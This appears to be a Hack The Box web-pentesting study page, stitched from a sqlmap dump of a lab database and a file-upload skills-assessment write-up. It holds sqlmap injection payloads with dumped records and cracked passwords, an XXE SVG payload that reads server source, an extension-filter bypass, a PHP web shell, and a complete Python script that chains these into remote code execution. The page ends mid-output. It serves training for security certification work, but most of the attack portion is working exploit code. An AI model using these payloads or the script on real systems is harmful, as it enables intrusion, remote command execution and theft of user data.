DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0 (MariaDB fork) do you want sqlmap to consider provided column(s): [1] as LIKE column names (default) [2] as exact column names > 1 [17:15:49] [INFO] searching columns LIKE 'style' across all databases [17:15:49] [WARNING] potential permission problems detected ('command denied') [17:15:49] [INFO] fetching columns LIKE 'style' for table 'ROUTINES' in database 'information_schema' columns LIKE 'style' were found in the following databases: Database: information_schema Table: ROUTINES [1 column] +-----------------+------------+ | Column | Type | +-----------------+------------+ | PARAMETER_STYLE | varchar(8) | +-----------------+------------+ Show all 59 lines Copy sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump Copy ┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-tu9evhc5ak]─[~] └──╼ [★]$ sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.8.12#stable} |_ -| . [,] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:22:41 /2025-11-09/ [17:22:41] [INFO] resuming back-end DBMS 'mysql' [17:22:41] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 1689=1689 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(5497=5497,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: id=1;SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 6423 FROM (SELECT(SLEEP(5)))BdfW) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x586b79504e675654694b4650417a506d64704b52434c5853667a705a7a45477a7a4a677579414b42,0x717a7a7a71)-- - --- [17:22:42] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [17:22:42] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [17:22:42] [INFO] fetching current database [17:22:42] [INFO] fetching tables for database: 'testdb' [17:22:42] [WARNING] potential permission problems detected ('command denied') [17:22:42] [INFO] fetching columns for table 'users' in database 'testdb' [17:22:42] [INFO] fetching entries for table 'users' in database 'testdb' [17:22:42] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [17:22:42] [INFO] using hash method 'sha1_generic_passwd' [17:22:42] [INFO] resuming password '3052' for hash '9a0f092c8d52eaf3ea423cef8485702ba2b3deb9' [17:22:42] [INFO] resuming password 'hibiskus' for hash 'a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295' [17:22:42] [INFO] resuming password 'spiderpig8574376' for hash 'b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e' [17:22:42] [INFO] resuming password '1955chev' for hash 'aed6d83bab8d9234a97f18432cd9a85341527297' [17:22:42] [INFO] resuming password 'Enizoom1609' for hash 'd642ff0feca378666a8727947482f1a4702deba0' [17:22:42] [INFO] resuming password 'raided' for hash '2b89b43b038182f67a8b960611d73e839002fbd9' [17:22:42] [INFO] resuming password 'ssival47' for hash 'f5eb0fbdd88524f45c7c67d240a191163a27184b' [17:22:42] [INFO] resuming password 'tarablinda' for hash '9987f0c165bc62eb3ee3db17967fbb81c026c197' [17:22:42] [INFO] resuming password 'homerhound' for hash 'c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b' [17:22:42] [INFO] resuming password 'millisa34' for hash '608e6d07cc8ce20bfdaf9c72ef420ad691de32cb' [17:22:42] [INFO] resuming password 'morswin2' for hash '8203b1bf12aba49d7566ff7007b60d1c0a439bee' [17:22:42] [INFO] resuming password 'breakout' for hash 'ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74' [17:22:42] [INFO] resuming password 'actionteam' for hash '520df62660b18e571c7cb3b5d3f559b8a8ff0d4b' [17:22:42] [INFO] resuming password 'nike92' for hash '2e0488a09433aa0d67b3463c76f407c7b0388ad7' [17:22:42] [INFO] resuming password 'vptwo0gc' for hash '21549a28300f72442b132d06d4016de606f36627' [17:22:42] [INFO] resuming password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917' [17:22:42] [INFO] resuming password 'plasid' for hash '15ce1871a907e8265f00defa21a723e7a4d35267' [17:22:42] [INFO] resuming password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9' [17:22:42] [INFO] resuming password 'donatus' for hash '20021ffbd3be7a3cddc64812d5dd6e5afb6e760c' [17:22:42] [INFO] resuming password 'sk8ter58' for hash '3d8f48ab8e119dd813a449f6bfcf42abae63567b' [17:22:42] [INFO] resuming password 'sgreen4eva' for hash '41244ab550c182b3ebe2dce87065bf363d0e013e' [17:22:42] [INFO] resuming password 'melek200215' for hash '5635e59941510dc473fbeed046c43007f76cfe03' [17:22:42] [INFO] resuming password 'mike230040' for hash '65b136cb1ec4b88f709f8f510262720eddfa71a7' [17:22:42] [INFO] resuming password 'hjungpil1' for hash '4282cfe7697817374251bc17aa47de6f620586b5' [17:22:42] [INFO] resuming password 'ford1900' for hash 'f2d897eb3bae0f1fd396325deb3c4779ae1d586d' [17:22:42] [INFO] resuming password 'rohaniah' for hash '4bf1926f7bb7ae283e1390236fd4a8737209862e' [17:22:42] [INFO] resuming password 'exquisite' for hash 'c7fbcdaf308cdcd64504d46342e7c79959388c44' [17:22:42] [INFO] resuming password 'aza221p' for hash '6725c7bee76ccdb7eda15fa263908988115498a9' [17:22:42] [INFO] resuming password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [17:22:42] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [17:22:42] [INFO] starting dictionary-based cracking (sha1_generic_passwd) [17:22:42] [INFO] starting 4 processes Database: testdb Table: users [32 entries] +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | id | cc | email | phone | name | address | birthday | password | occupation | +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ | 1 | 5387278172507117 | MaynardMRice@yahoo.com | 281-559-0172 | Maynard Rice | 1698 Bird Spring Lane | March 1 1958 | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) | Linemen | | 2 | 4539475107874477 | JulioWThomas@gmail.com | 973-426-5961 | Julio Thomas | 1207 Granville Lane | February 14 1972 | 10946aa229a6d569f226976b22ea0e900a1fc219 | Agricultural product sorter | | 3 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) | General and operations manager | | 4 | 4929811432072262 | GregoryBStumbaugh@yahoo.com | 410-680-5653 | Gregory Stumbaugh | 1641 Marshall Street | May 7 1936 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter | | 5 | 4539646911423277 | BobbyJGranger@gmail.com | 212-696-1812 | Bobby Granger | 4510 Shinn Street | December 22 1939 | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev) | Medical records and health information technician | | 6 | 5143241665092174 | KimberlyMWright@gmail.com | 440-232-3739 | Kimberly Wright | 3136 Ralph Drive | June 18 1972 | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609) | Electrologist | | 7 | 5503989023993848 | DeanLHarper@yahoo.com | 440-847-8376 | Dean Harper | 3766 Flynn Street | February 3 1974 | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided) | Store detective | | 8 | 4556586478396094 | GabrielaRWaite@msn.com | 732-638-1529 | Gabriela Waite | 2459 Webster Street | December 24 1965 | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47) | Telephone station installer | | 9 | 5452466713512742 | RoySCarr@msn.com | 408-848-6272 | Roy Carr | 1384 Sycamore Street | October 19 1942 | 9987f0c165bc62eb3ee3db17967fbb81c026c197 (tarablinda) | Freight, stock, and material mover | | 10 | 5231550277906388 | AlfonzoGWilliams@gmail.com | 740-546-1581 | Alfonzo Williams | 911 Irving Road | July 16 1931 | c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b (homerhound) | Outside order clerk | | 11 | 5224197138746170 | ChristopherHBrown@yahoo.com | 917-840-2535 | Christopher Brown | 2246 Settlers Lane | March 29 1951 | 608e6d07cc8ce20bfdaf9c72ef420ad691de32cb (millisa34) | Unlicensed assistive personnel | | 12 | 4485150912665782 | AudreyRHill@gmail.com | 717-308-3644 | Audrey Hill | 2306 Stout Street | July 19 1969 | 8203b1bf12aba49d7566ff7007b60d1c0a439bee (morswin2) | Mail processor | | 13 | 4716071391111521 | RyanMSpencer@msn.com | 256-441-1530 | Ryan Spencer | 4309 Turnpike Drive | July 3 1979 | ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74 (breakout) | Claims representative | | 14 | 4716242999773281 | JessieJSchwan@yahoo.com | 989-217-2111 | Jessie Schwan | 1285 Wood Street | October 28 1937 | 520df62660b18e571c7cb3b5d3f559b8a8ff0d4b (actionteam) | Network and computer systems administrator | | 15 | 5183997232057997 | ShannonRStewart@yahoo.com | 828-850-2133 | Shannon Stewart | 1596 Watson Lane | May 28 1934 | 2e0488a09433aa0d67b3463c76f407c7b0388ad7 (nike92) | Sketch artist | | 16 | 4556164708532886 | MarkLStilwell@msn.com | 715-392-4649 | Mark Stilwell | 121 Abner Road | September 1 1950 | 21549a28300f72442b132d06d4016de606f36627 (vptwo0gc) | Occupational therapist assistant | | 17 | 4485731897297327 | AnnetteDGill@yahoo.com | 216-376-3062 | Annette Gill | 4999 Glenwood Avenue | August 19 1977 | 0ff476c2676a2e5f172fe568110552f2e910c917 (Zc1uowqg6) | Plate finisher | | 18 | 4485934311754598 | CyndiBReyes@gmail.com | 903-679-2061 | Cyndi Reyes | 4347 Hall Place | June 5 1947 | 15ce1871a907e8265f00defa21a723e7a4d35267 (plasid) | Executive | | 19 | 5217064909950341 | WilliamDMunoz@gmail.com | 323-789-6686 | William Munoz | 2961 Hillhaven Drive | July 4 1928 | df692aa944eb45737f0b3b3ef906f8372a3834e9 (1201Hunt) | Service station attendant | | 20 | 4929461176669103 | ScottBPonce@yahoo.com | 626-537-0602 | Scott Ponce | 3023 Woodstock Drive | September 19 1947 | 20021ffbd3be7a3cddc64812d5dd6e5afb6e760c (donatus) | Benefits manager | | 21 | 4916977560623393 | PhilipTAhearn@gmail.com | 509-327-6685 | Philip Ahearn | 4418 Goodwin Avenue | May 22 1938 | 3d8f48ab8e119dd813a449f6bfcf42abae63567b (sk8ter58) | Office assistant | | 22 | 5480619405065199 | MyraJStephenson@yahoo.com | 717-770-6897 | Myra Stephenson | 4225 Aaron Smith Drive | December 25 1966 | 41244ab550c182b3ebe2dce87065bf363d0e013e (sgreen4eva) | Animator | | 23 | 4532761682899246 | MarianCJoiner@yahoo.com | 707-467-5061 | Marian Joiner | 273 Fairway Drive | February 12 1978 | 5635e59941510dc473fbeed046c43007f76cfe03 (melek200215) | Foundry mold and coremaker | | 24 | 5357620822740711 | LloydSLiu@gmail.com | 616-396-4287 | Lloyd Liu | 3277 Howard Street | August 18 1951 | 09422b94c8f031285b22500c2d0a68bb8ec4dc70 | Sound engineering technician | | 25 | 5219707450752213 | JoshuaEFletcher@gmail.com | 317-670-8864 | Joshua Fletcher | 1510 Stewart Street | August 14 1934 | 65b136cb1ec4b88f709f8f510262720eddfa71a7 (mike230040) | Edition binding worker | | 26 | 4485684355495794 | MargaretNBooker@msn.com | 760-969-7147 | Margaret Booker | 70 Wilson Street | December 17 1975 | 4282cfe7697817374251bc17aa47de6f620586b5 (hjungpil1) | Management information systems director | | 27 | 5134210174158363 | FrancisMArroyo@yahoo.com | 951-252-9692 | Francis Arroyo | 3600 Hillcrest Lane | July 6 1993 | f2d897eb3bae0f1fd396325deb3c4779ae1d586d (ford1900) | Gastroenterology nurse | | 28 | 4485114901308234 | AngelJMarquez@gmail.com | 209-874-4743 | Angel Marquez | 1144 Richards Avenue | May 14 1966 | 4bf1926f7bb7ae283e1390236fd4a8737209862e (rohaniah) | Echocardiographer | | 29 | 4532210842993911 | PamelaJRock@yahoo.com | 715-454-8565 | Pamela Rock | 3110 Abner Road | October 31 1992 | c7fbcdaf308cdcd64504d46342e7c79959388c44 (exquisite) | Private investigator | | 30 | 4556109704569770 | DennisDSnow@yahoo.com | 715-730-1951 | Dennis Snow | 4211 Tea Berry Lane | November 10 1938 | 6725c7bee76ccdb7eda15fa263908988115498a9 (aza221p) | Unlicensed assistive personnel | | 31 | 5554945940459873 | LorenSBunch@gmail.com | 805-766-2963 | Loren Bunch | 3111 Par Drive | October 22 1971 | 70f361f8a1c9035a1d972a209ec5e8b726d1055e (05adrian) | Cafeteria cook | | 32 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | c6970ba1130b4bbca5be99f0ce00a706f256c818 | General and operations manager | +----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+ [17:22:48] [INFO] table 'testdb.users' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/users.csv' [17:22:48] [INFO] fetching columns for table 'flag1' in database 'testdb' [17:22:48] [INFO] fetching entries for table 'flag1' in database 'testdb' Database: testdb Table: flag1 [1 entry] +----+-----------------------------------------------------+ | id | content | +----+-----------------------------------------------------+ | 1 | HTB{c0n6r475_y0u_kn0w_h0w_70_run_b451c_5qlm4p_5c4n} | +----+-----------------------------------------------------+ [17:22:48] [INFO] table 'testdb.flag1' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/flag1.csv' [17:22:48] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103' [17:22:48] [WARNING] your sqlmap version is outdated [*] ending @ 17:22:48 /2025-11-09/ Show all 149 lines --- # Skills Assessment | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment.md) . Skills Assessment - File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#skills-assessment-file-upload-attacks) ---------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * You are contracted to perform a penetration test for a company's e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find. Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server. * * * ### Extra Exercise[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#extra-exercise) Try to note down the main security issues found with the web application and the necessary security measures to mitigate these issues and prevent further exploitation. Upon poking around the app, I see the ocntact page allwos uploads at the url [http://94.237.122.36:37734/contact/94.237.122.36](http://94.237.122.36:37734/contact/) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FSS385kxfE9NkZUaWbw3n%252Fimage.png%3Falt%3Dmedia%26token%3D4f0d7b62-0f3b-4bc6-831e-40075d4ef890&width=768&dpr=3&quality=100&sign=8c343dcf&sv=2) Upon submitting a response you will see that the url is employed to make the request [http://94.237.49.128:31498/contact/submit.php?](http://94.237.49.128:31498/contact/submit.php?) A quick look at the source code shows the script.js that is implementation the what appears to be whitelist filtering to enforce only jpg and png file acceptance ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FYLaFxKIkeFrvYuhmuRn8%252Fimage.png%3Falt%3Dmedia%26token%3D87b7bbc3-cedc-4077-b198-7809709cdcce&width=768&dpr=3&quality=100&sign=6046d2db&sv=2) So I see a form of whitelising in the front of the the application, but It's worth seeing how extensive the filtering is on the backend. From the module I know I should try to execute xml external entity injection into upload form. So I create a xml.png containing php code that would retrive the server side source code. (base64 encoded) and uploaded this in the app ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FJLoBrAMakWN5Vf72M4QR%252Fimage.png%3Falt%3Dmedia%26token%3D4cfd24d2-6ebf-47d4-9dd1-b7cd3f04a592&width=768&dpr=3&quality=100&sign=58ef30a3&sv=2) SO now we see that the XXE worked, and we are able to decode the uploaded response (PD9....) So we decode it and see this response ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F55zgfoVU06x6SNA4Hdkr%252Fimage.png%3Falt%3Dmedia%26token%3D976174e2-9506-47ee-a4e2-3bc0c8e88c57&width=768&dpr=3&quality=100&sign=1f13637&sv=2) which is We see multiple methods on the backend employed to prevent filter bypass and protect against filter upload The decoded source revealed three important filters: * **Blacklist**: blocks `.ph(p|ps|tml)` extensions. * **Whitelist**: enforces `.[a-z]{2,3}g$` (e.g., `.jpg`, `.png`). * **MIME validation**: ensures `image/*g` pattern match. From this, two valid extensions emerged: `.phar.jpg` `.phz.jpg` I do not see any XML Validation. ALSO You can view subsissiom from uploads here [http://94.237.122.36:37734/contact/user\_feedback\_submissions/251102\_svg.png94.237.122.36](http://94.237.122.36:37734/contact/user_feedback_submissions/251102_svg.png) Use the current YY/MM/DD\_<name\_of\_upload> Since this svg web shell worked for XXE and bypassed all the filters, the same file type should work for a php web shell to achieve remote code execution. and later retrieve the flag So I craft a special payload that will embed the php script used before to allow command execution at the end of the xml file that is uploaded. From here upload the file to the contact page next you should test to see if rce is working and you can execute commands to the web page, which it does work. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F0NtY4SCvT63J0rMdyBW2%252Fimage.png%3Falt%3Dmedia%26token%3Dd5053ddd-6e8a-4526-a104-f0cfad256684&width=768&dpr=3&quality=100&sign=e436e2c0&sv=2) You can now use this to find the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FQrBm0ZJkUZf6keLht7Cy%252Fimage.png%3Falt%3Dmedia%26token%3D05cf707f-ed87-4021-86a7-5d61b4953020&width=768&dpr=3&quality=100&sign=25a7b651&sv=2) FLAG ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FoEI1kNmjL1nqTIrzU1B4%252Fimage.png%3Falt%3Dmedia%26token%3D4ec1a1fd-a13b-4047-9ac6-e60e8c49fbb3&width=768&dpr=3&quality=100&sign=d13c34c6&sv=2) This showcases how you can combine XXE with RCE using filter bypassing and php code manipulation, I have also created the full attack chain into a python script to execute on new targets again. #### AUTOMATED PYTHON SCRIPT[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#automated-python-script) you can also use this to take you through the enumeration and exploitation chain on one of the targets. This shows revealing the source code, deploying payload, verifying RCE, and obtaining the flag, specific to this skill assement ad the web app structure. #### OUTPUT[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#output) A: HTB{m4573r1ng\_upl04d\_3xpl0174710n} [PreviousPreventing File Upload Vulnerabilities](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities) [NextRe Walk](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk) Last updated 9 months ago * [Skills Assessment - File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#skills-assessment-file-upload-attacks) * [Extra Exercise](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment#extra-exercise) Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-nl2k9uhqri]─[~] └──╼ [★]$ cat svg.png <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/contact/resource=upload.php"> ]><svg>&xxe;</svg> Copy <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } Copy $ cat svg.phar.png <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg> <?php system($_REQUEST["cmd"]); ?> Copy """ --------------------------- Skills Assesment: File Upload Attacks --------------------------- 1. Try to exploit the upload form to read the flag found at the root directory "/". """ # Import Request to send web request to the internet import requests import sys import subprocess from datetime import date import base64, re # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT AND DATE ============================ # svg_php_jpeg_filename = "svg.phar.jpeg" svg_php_jpeg_content = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg> <?php system($_REQUEST["cmd"]); ?>' svg_png_filename = "svg.shell.png" source_code_content = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/contact/resource=upload.php"> ]><svg>&xxe;</svg>' # Get today's date as a date object today = date.today() # Format the date as YY-MM-DD formatted_date = today.strftime("%y%m%d") # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # # URL to upload file while visiting the contact page update_upload_url = f"http://{target}/contact/upload.php" # URL to access the uploaded file in user_feedback_submissions folder access_user_feedback_submissions_url = f"http://{target}/contact/user_feedback_submissions/{formatted_date}_{svg_php_jpeg_filename}" # Check RCE and Access Flag URLs check_rce_url = f"{access_user_feedback_submissions_url}?cmd=whoami" check_rce_url_2 = f"{access_user_feedback_submissions_url}?cmd=ls%20/" access_flag_url = f"{access_user_feedback_submissions_url}?cmd=cat%20/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt" # 1. ============================ UPLOAD FILE TO TARGET, EXECUTE XXE TO TO GATHER SOURCE CODE ============================ # print("\n ############### UPLOAD XXE SVG FILE RESPONSE ###############") # Upload File upload_response = upload_file(filename=svg_png_filename, file_content=source_code_content, url=update_upload_url) print_response(upload_response) # 2. ============================ DECODE BASE64 SOURCE CODE RESPONSE of TARGET ============================ # print("\n ############### BASE64 SOURCE CODE DECODED ###############") print_response_base64(upload_response) # 3. ============================ UPLOAD FILE TO TARGET, EXECUTE RCE PREP with PHP WEB SHELL ============================ # print("\n ############### UPLOAD XXE + RCE FILE RESPONSE ###############") # Upload File upload_response = upload_file(filename=svg_php_jpeg_filename, file_content=svg_php_jpeg_content, url=update_upload_url) # Display upload Response print_response(upload_response) # 4. ============================ VERIFY RCE ============================ # print("\n ############### VERIFY REMOTE CODE EXECUTION ###############") verify_rce = access_web_shell(check_rce_url) # Print RCE Response print_response(verify_rce) # 4.5. ============================ VERIFY RCE pt.2 and reveal flag location ============================ # print("\n ############### REVEAL FLAG LOCATION & NAME ###############") verify_rce = access_web_shell(check_rce_url_2) # Print RCE Response print_response(verify_rce) # 5. ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # print("\n ############### REVEAL FLAG ###############") web_shell_response = access_web_shell(access_flag_url) # Display Flag / Web Shell Response print_response(web_shell_response) def upload_file(filename, file_content, url): # FILE INFORMATION files = { # form field name matches the one in Burp capture "uploadFile": (filename, file_content.encode("utf-8"), "image/svg+xml"), } # Add specific headers from Burp capture headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "X-Requested-With": "XMLHttpRequest", "DNT": "1", "Sec-GPC": "1", "Connection": "keep-alive" } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(url, files=files, headers=headers, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def print_response_base64(response): resp_text = response.text # from requests m = re.search(r'<svg[^>]*>(.*?)</svg>', resp_text, re.S | re.I) if not m: raise SystemExit("No <svg>...</svg> block found") b64 = m.group(1).strip() # inner text # optional sanity check if not re.match(r'^[A-Za-z0-9+/=\\s]+$', b64): print("Warning: extracted content contains non-base64 chars; proceeding anyway") decoded = base64.b64decode(b64) print(decoded.decode('utf-8', errors='replace')) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy $ python3 skills-assesment.py 94.237.120.230:52258 ############### UPLOAD XXE SVG FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.120.230:52258/contact/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; 